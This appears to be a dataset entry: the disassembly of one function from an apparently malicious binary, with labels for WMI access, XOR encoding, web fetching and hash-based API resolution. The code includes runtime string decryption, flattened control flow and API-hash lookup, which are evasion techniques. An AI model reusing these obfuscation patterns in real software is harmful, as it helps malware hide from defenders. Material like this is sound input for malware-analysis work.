Function at 0x43ba10
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xb0
mov esi, esp
mov eax, dword [ebp + 8]
mov dword [esi + 0x60], eax
push eax
mov edi, esp
mov eax, dword [0x45070c]
mov dword [esi + 0x20], 0x41bb476b
mov dword [esi + 0x24], 0x4ddf43db
mov dword [esi + 0x28], 0x49a14fd0
mov dword [esi + 0x2c], 0x75864bdf
mov dword [esi + 0x30], 0x719d77e6
mov dword [esi + 0x34], 0x7d9d73ee
mov dword [esi + 0x38], 0x797e7f53
mov dword [esi + 0x3c], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0x11
xor dl, byte [esi + ecx + 0x20]
add dl, 0xab
mov byte [esi + ecx + 0x20], dl
inc ecx
cmp ecx, 0x20
jne case.default.0x43baa0
lea ecx, [esi + 0x70]
lea edx, [esi + 0x9c]
lea ebx, [esi + 0x20]
push ecx
push 8
push edx
push 0xd
push ebx
push 0
call eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44dea4]
mov dword [esi + 0x9c], 0x3a0043
mov dword [esi + 0xa0], 0x5c
mov dword [esi + 0x7c], 0
mov dword [esi + 0x78], 0
mov dword [esi + 0x74], 0
mov dword [esi + 0x70], 0
mov dword [esi + 0x1c], 0
lea eax, [esi + 0x1c]
push eax
push 0x447a98
push 1
push 0
push 0x447aa8
call dword [sym.imp.ole32.dll_CoCreateInstance]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44deac]
mov dword [esi + 0x5c], edi
mov dword [esi + 0x20], 0x23dd21d2
mov dword [esi + 0x24], 0x27d225db
mov dword [esi + 0x28], 0xdb19d934
mov dword [esi + 0x2c], 0xdf23dd25
mov dword [esi + 0x30], 0xd300d126
mov word [esi + 0x34], 0xd5d4
mov dword [esi + 0x36], 0
mov word [esi + 0x3a], 0
mov eax, 0x9836d578
mov ecx, 0x87
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esi + eax + 0x67c92aa8]
mov ebx, eax
or ebx, edx
not edx
or edx, ecx
and edx, ebx
lea ebx, [edx + 0x6edd4a7]
mov edi, ebx
and edx, 1
and ebx, 0xfe
or ebx, edx
and edi, 1
lea edx, [ebx + edi*2]
mov byte [esi + eax + 0x67c92aa8], dl
inc eax
dec ecx
cmp eax, 0x9836d594
jne 0x43bb50
lea ebx, [esi + 0x20]
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, dword [esi + 0x1c]
mov ecx, dword [edi]
lea edx, [esi + 0x18]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [esi + 0x84], eax
push eax
push edi
call dword [ecx + 0xc]
not eax
shr eax, 0x1f
mov edi, dword [esi + 0x5c]
jmp dword [eax*4 + 0x44deb4]
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esi + 0x18]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44debc]
mov dword [esi + 0x20], 0x11ed1ff5
mov dword [esi + 0x24], 0x151213ec
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xc5
xor cl, byte [esi + eax + 0x20]
add cl, 0x27
mov byte [esi + eax + 0x20], cl
inc eax
cmp eax, 8
jne 0x43bc00
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi + 0x58], eax
mov dword [esi + 0x20], 0x19511b41
mov dword [esi + 0x24], 0x652d674c
mov dword [esi + 0x28], 0x613e6329
mov dword [esi + 0x2c], 0x6d186f00
mov dword [esi + 0x30], 0x69206b0c
mov dword [esi + 0x34], 0x75277736
mov dword [esi + 0x38], 0x71127327
mov dword [esi + 0x3c], 0x7dc97f29
mov dword [esi + 0x40], 0x79077bce
mov dword [esi + 0x44], 0x45e74706
mov dword [esi + 0x48], 0x4115430a
mov dword [esi + 0x4c], 0x4d134f11
mov word [esi + 0x50], 0x4b4c
mov dword [esi + 0x52], 0
mov byte [esi + 0x56], 0
mov eax, 0x2095cc4
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebx]
mov ecx, eax
or ecx, edx
lea edi, [eax - 0x2095c00]
and edi, edx
not ecx
or ecx, edi
mov edx, ecx
and edx, 0x58
add edx, edx
xor ecx, 0x27
sub edx, ecx
mov byte [ebx], dl
inc ebx
dec eax
cmp eax, 0x2095c8d
jne 0x43bc90
lea eax, [esi + 0x20]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, dword [esi + 0x18]
mov ecx, dword [edi]
lea edx, [esi + 0x6c]
push edx
push 0
push 0x30
mov dword [esi + 0x80], eax
push eax
push dword [esi + 0x58]
push edi
call dword [ecx + 0x50]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44dec4]
mov dword [esi + 0x64], 0
mov eax, dword [esi + 0x6c]
mov ecx, dword [eax]
lea edx, [esi + 0x64]
lea edi, [esi + 0x68]
push edx
push edi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
setns cl
cmp eax, 1
setne al
cmp dword [esi + 0x64], 0
setne dl
and dl, al
and dl, cl
movzx eax, dl
jmp dword [eax*4 + 0x44decc]
lea eax, [esi + 0x88]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esi + 0x68]
mov dword [esi + 0x20], 0x11f91fe9
mov dword [esi + 0x24], 0x15891382
mov dword [esi + 0x28], 0x98a17f7
mov dword [esi + 0x2c], 0xd9d0bf6
mov dword [esi + 0x30], 0x1ec0f93
mov dword [esi + 0x34], 0x59003e7
mov word [esi + 0x38], 0x704
mov dword [esi + 0x3a], 0
mov ecx, 0x3ef170c5
mov edi, 0x3a
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esi + ecx - 0x3ef170a5]
mov edx, edi
xor edx, ecx
and edx, ebx
xor edx, ecx
mov ebx, edx
and ebx, 0x26
xor edx, 0x26
lea edx, [edx + ebx*2]
inc dl
mov byte [esi + ecx - 0x3ef170a5], dl
inc ecx
dec edi
cmp ecx, 0x3ef170e3
jne 0x43bd80
mov ecx, dword [eax]
push 0
push 0
lea edi, [esi + 0x88]
push edi
push 0
lea edx, [esi + 0x20]
push edx
push eax
call dword [ecx + 0x10]
test eax, eax
setns al
cmp word [esi + 0x88], 8
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44ded4]
mov edi, dword [esi + 0x90]
movzx ecx, word [edi]
test cx, cx
je 0x43be2c
lea eax, [edi + 2]
mov dword [esi + 8], 0
jmp 0x43be09
inc dword [esi + 8]
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x43be33
cmp cx, 0x7f
jbe 0x43bdfb
movzx edx, cx
cmp edx, 0x7ff
ja 0x43be20
add dword [esi + 8], 2
jmp 0x43bdfe
cmp cx, 0xffff
je 0x43bdfe
add dword [esi + 8], 3
jmp 0x43bdfe
mov dword [esi + 8], 0
mov dword [esi + 0x14], edi
mov eax, dword [esi + 8]
inc eax
push eax
call fcn.0040cd40
add esp, 4
mov dword [esi + 0xc], eax
jmp dword [0x44dedc]
mov ecx, dword [esi + 0xc]
mov ecx, dword [ecx + eax*4]
mov dword [esi + eax*4 + 0x70], ecx
mov edx, dword [esi + 8]
add edx, 0xfffffffc
xor ecx, ecx
mov dword [esi + 8], edx
cmp edx, 4
setb cl
jmp dword [ecx*4 + 0x44df04]
mov ecx, eax
xor ecx, 1
and eax, 1
lea eax, [ecx + eax*2]
xor ecx, ecx
cmp eax, 4
setb cl
jmp dword [ecx*4 + 0x44defc]
jmp dword [0x44df0c]
push dword [esi + 0xc]
call fcn.0040cd50
add esp, 4
push edi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esi + 0x68]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esi + 0x6c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esi + 0x58]
call edi
push dword [esi + 0x80]
call edi
mov edi, dword [esi + 0x5c]
mov eax, dword [esi + 0x18]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esi + 0x84]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esi + 0x1c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [edi], 0
push 0x72a7c387
push dword [0x450704]
call fcn.00443ee0
add esp, 8
push 0
push 0
push 0
push 0
push edi
push 0
push 0
lea ecx, [esi + 0x9c]
push ecx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44df14]
mov eax, dword [edi]
mov dword [esi + 0x70], eax
xor edi, edi
xor eax, eax
cmp edi, 4
setb al
jmp dword [eax*4 + 0x44df1c]
xor ecx, ecx
test edi, edi
setne cl
mov eax, edi
jmp dword [ecx*4 + 0x44df24]
mov eax, dword [esi + eax*4 + 0x70]
mov ecx, eax
and ecx, 0xffe5a7ba
mov edx, eax
and edx, 0x1a5845
or eax, 0x1a5845
imul eax, edx
xor edx, 0x1a5845
imul edx, ecx
add eax, edx
add eax, 0xebde8a13
mov dword [esi + edi*4 + 0x70], eax
mov ebx, 0xfffffff7
push 0x10
push 9
push dword [esi + 0x60]
push eax
call fcn.00422db0
add esp, 0x10
nop
nop
nop
nop
nop
cmp byte [eax + ebx + 9], 0
lea ebx, [ebx + 1]
jne case.default.0x43bfc4
xor edx, edx
cmp ebx, 0
setne dl
xor ecx, ecx
jmp dword [edx*4 + 0x44df34]
add dword [esi + 0x60], 8
inc edi
xor eax, eax
cmp edi, 4
setb al
jmp dword [eax*4 + 0x44df1c]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [esi + 0xc]
cmp dword [esi + 8], 0
je 0x43c161
mov eax, dword [esi + 0x14]
movzx ecx, word [eax]
mov eax, dword [esi + 0xc]
test cx, cx
je 0x43c161
mov edi, dword [esi + 0x14]
mov edx, dword [esi + 8]
mov eax, dword [esi + 0xc]
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, cx
lea ecx, [edi + 2]
mov dword [esi + 4], ecx
cmp bx, 0x7f
ja 0x43c050
lea ecx, [eax + 1]
mov byte [eax], bl
mov edi, dword [esi + 4]
jmp 0x43c100
cmp ebx, 0x7ff
ja 0x43c080
cmp edx, 2
jb 0x43c080
mov ecx, ebx
shr ecx, 6
add cl, 0xc0
mov byte [eax], cl
and bl, 0x3f
or bl, 0x80
lea ecx, [eax + 2]
mov byte [eax + 1], bl
mov edi, dword [esi + 4]
jmp 0x43c100
mov dword [esi + 0x10], eax
mov ecx, ebx
and ecx, 0xfc00
cmp ecx, 0xd800
jne 0x43c118
cmp edx, 4
jb 0x43c118
movzx eax, word [edi + 2]
mov dword [esi + 4], eax
shl ebx, 0xa
add eax, ebx
add eax, 0xfca02400
mov ebx, eax
shr ebx, 0x12
add bl, 0xf0
mov ecx, dword [esi + 0x10]
mov byte [ecx], bl
mov ebx, eax
shr ebx, 0xc
and bl, 0x3f
or bl, 0x80
mov ecx, dword [esi + 0x10]
mov byte [ecx + 1], bl
shr eax, 6
and al, 0x3f
or al, 0x80
mov ebx, dword [esi + 0x10]
mov byte [ebx + 2], al
mov ecx, dword [esi + 4]
mov eax, ecx
xor eax, 0xc0
or ecx, 0x3f
and ecx, eax
mov eax, ebx
add edi, 4
add cl, 0x80
mov byte [ebx + 3], cl
lea ecx, [ebx + 4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add edx, eax
sub edx, ecx
mov eax, ecx
movzx ecx, word [edi]
test cx, cx
je 0x43c161
test edx, edx
jne 0x43c030
jmp 0x43c161
movzx eax, cx
cmp eax, 0xdc00
jne 0x43c12a
mov edi, dword [esi + 4]
mov eax, dword [esi + 0x10]
jmp 0x43c106
cmp edx, 3
mov edi, dword [esi + 4]
jb 0x43c15a
mov eax, ebx
shr eax, 0xc
or al, 0xe0
mov ecx, dword [esi + 0x10]
mov byte [ecx], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [ecx + 1], al
mov eax, ecx
and bl, 0x3f
or bl, 0x80
add ecx, 3
mov byte [eax + 2], bl
jmp 0x43c100
mov eax, dword [esi + 0x10]
mov ecx, eax
jmp 0x43c100
mov byte [eax], 0
jmp dword [0x44dee4]
mov eax, dword [esi + 0xc]
mov dword [esi + 4], eax
cmp dword [esi + 8], 0
je 0x43c2cc
mov eax, dword [esi + 0x14]
movzx eax, word [eax]
mov ecx, dword [esi + 0xc]
mov dword [esi + 4], ecx
test ax, ax
je 0x43c2cc
mov edi, dword [esi + 0x14]
mov edx, dword [esi + 8]
mov ecx, dword [esi + 0xc]
mov dword [esi + 4], ecx
nop
nop
nop
nop
nop
movzx eax, ax
lea ebx, [edi + 2]
cmp ax, 0x7f
ja 0x43c1c0
mov edi, dword [esi + 4]
lea ecx, [edi + 1]
mov byte [edi], al
jmp 0x43c1e3
cmp eax, 0x7ff
ja 0x43c210
cmp edx, 2
jb 0x43c210
mov ecx, eax
shr ecx, 6
add cl, 0xc0
mov edi, dword [esi + 4]
mov byte [edi], cl
and al, 0x3f
or al, 0x80
lea ecx, [edi + 2]
mov byte [edi + 1], al
mov eax, edi
mov edi, ebx
add edx, eax
sub edx, ecx
mov dword [esi + 4], ecx
movzx eax, word [edi]
test ax, ax
je 0x43c2cc
test edx, edx
jne 0x43c1a0
jmp 0x43c2cc
mov ecx, eax
and ecx, 0xfc00
cmp ecx, 0xd800
jne 0x43c27d
cmp edx, 4
jb 0x43c27d
movzx ecx, word [edi + 2]
mov dword [esi + 0x10], ecx
shl eax, 0xa
add ecx, eax
add ecx, 0xfca02400
mov eax, ecx
shr eax, 0x12
add al, 0xf0
mov ebx, dword [esi + 4]
mov byte [ebx], al
mov eax, ecx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [ebx + 1], al
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [ebx + 2], cl
mov ecx, dword [esi + 0x10]
mov eax, ecx
xor eax, 0xc0
or ecx, 0x3f
and ecx, eax
mov eax, ebx
add edi, 4
add cl, 0x80
mov byte [ebx + 3], cl
lea ecx, [ebx + 4]
jmp 0x43c1e7
movzx ecx, cx
cmp ecx, 0xdc00
jne 0x43c28f
mov edi, ebx
jmp 0x43c1ee
cmp edx, 3
mov edi, ebx
jb 0x43c2c2
mov ecx, eax
shr ecx, 0xc
or cl, 0xe0
mov ebx, dword [esi + 4]
mov byte [ebx], cl
mov ecx, eax
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [ebx + 1], cl
and al, 0x3f
or al, 0x80
lea ecx, [ebx + 3]
mov byte [ebx + 2], al
mov eax, ebx
jmp 0x43c1e7
mov eax, dword [esi + 4]
mov ecx, eax
jmp 0x43c1e7
mov eax, dword [esi + 4]
mov byte [eax], 0
jmp case.0x43baa0.13
mov eax, dword [case.0x43baa0.19]
nop
nop
nop
nop
jmp eax
xor eax, eax
xor ecx, ecx
cmp eax, 4
setb cl
lea edi, [esi + 0x88]
jmp dword [ecx*4 + 0x44defc]